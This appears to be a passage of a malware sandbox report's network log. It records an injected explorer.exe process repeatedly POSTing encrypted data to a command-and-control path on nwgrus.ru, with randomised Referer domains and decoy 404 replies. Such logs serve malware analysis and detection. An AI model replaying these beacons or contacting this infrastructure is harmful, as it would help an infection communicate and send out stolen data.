Oct 7, 2024 14:59:32.228606939 CEST	251	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 67 09 e3 f5 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuge`Z}10_LccWeJ*\|+=TF1DW(Mj.h"BW8)N&Rks9#Ge]2f{]4OA\|,oC/
Oct 7, 2024 14:59:33.173722982 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:33 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49837	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:33.182248116 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jpqykkhyhkjhpkd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 186 Host: nwgrus.ru
Oct 7, 2024 14:59:33.182384968 CEST	186	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 54 1c ff eb Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuTZMk{a3%E.!5p@o)W\HJA"**RY+eG6DF
Oct 7, 2024 14:59:34.105287075 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49844	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:34.116712093 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ctxuhanhwfs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 326 Host: nwgrus.ru
Oct 7, 2024 14:59:34.116729021 CEST	326	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 44 41 f1 a4 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuDA]\Yz\|>)3p]#wEQ6,leR1pdPih;GZ2TvkN6;?sqCVz`d1jir!+
Oct 7, 2024 14:59:35.044061899 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49850	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:35.054987907 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ncglteyuwoqfog.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 305 Host: nwgrus.ru
Oct 7, 2024 14:59:35.055008888 CEST	305	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 7b 24 c3 f1 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu{$lQ]wl1S9(2K?FJL#@-J4z7\(mk~=!NI$pMM1mqbili1A
Oct 7, 2024 14:59:35.979567051 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49856	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:36.406860113 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uknyifxswcdyll.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: nwgrus.ru
Oct 7, 2024 14:59:36.406965017 CEST	123	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 55 45 dc e4 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuUEJ-}QoiQQtOb^)
Oct 7, 2024 14:59:37.312268972 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49867	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:37.321669102 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pxdktwwwgewqlyba.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: nwgrus.ru
Oct 7, 2024 14:59:37.321669102 CEST	247	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 4e 5d d4 af Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuN]lDY]JCfz}am>c;GC#C7!Si_J+<~~dB{!(_z*S=LvlgYRt?X7_jdc
Oct 7, 2024 14:59:38.356266975 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:38 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49868	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:38.365433931 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://emasrygonyft.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: nwgrus.ru
Oct 7, 2024 14:59:38.365433931 CEST	356	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 7d 05 ba a0 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu}USgyI"\|iH"emr[I{`>Q.?]XH-L?KuaB<EA<~Rc"=!u-qZ)Z\|9Y7
Oct 7, 2024 14:59:39.268884897 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49874	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:39.307909012 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pwvfxidmiqrrd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: nwgrus.ru
Oct 7, 2024 14:59:39.307909012 CEST	219	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 71 58 ac 8e Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuqX_\|eZ$P^[lt~G{j(C80&Ul\C'@6)YNlTG;*\""2w
Oct 7, 2024 14:59:40.231791973 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:40 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49885	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:40.240510941 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gcmljhlsnyknod.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: nwgrus.ru
Oct 7, 2024 14:59:40.240534067 CEST	256	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 6e 26 b2 f8 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vun&tGa\|@@k1yLW/`D,[`=@,krcY;t6]W&'iEx[RI\|ack*AGW4
Oct 7, 2024 14:59:41.191051006 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49891	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:41.210547924 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://emsfvchaaieje.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: nwgrus.ru
Oct 7, 2024 14:59:41.210547924 CEST	120	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 7c 34 bd 8b Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu\|4MMO(ZS#QlVtw
Oct 7, 2024 14:59:42.137079000 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49897	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:42.146612883 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://goboxcgfexx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 175 Host: nwgrus.ru
Oct 7, 2024 14:59:42.146632910 CEST	175	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 5b 40 b1 f7 Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vu[@}omjJnl#&Rg/+(\"Xh.2!a2pY)]
Oct 7, 2024 14:59:43.084280968 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 12:59:42 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49903	105.197.97.247	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:59:43.094247103 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ruprlmkhoul.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: nwgrus.ru
Oct 7, 2024 14:59:43.094276905 CEST	200	OUT	Data Raw: 3b 6e 25 19 8d bf 1c 2e de a8 b4 06 05 03 79 b7 7f 79 bc 94 63 03 94 10 7d 7e 7a 9d 47 b6 c0 1a e8 5b cf 2e 76 6f 52 6d 9c 97 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 52 1d e0 ea Data Ascii: ;n%.yyc}~zG[.voRm?#1\|J7 M@NA -[k,vuRvx=D(X-qoWC(m>NIY+]DYXyE+:Xv:8ihJI
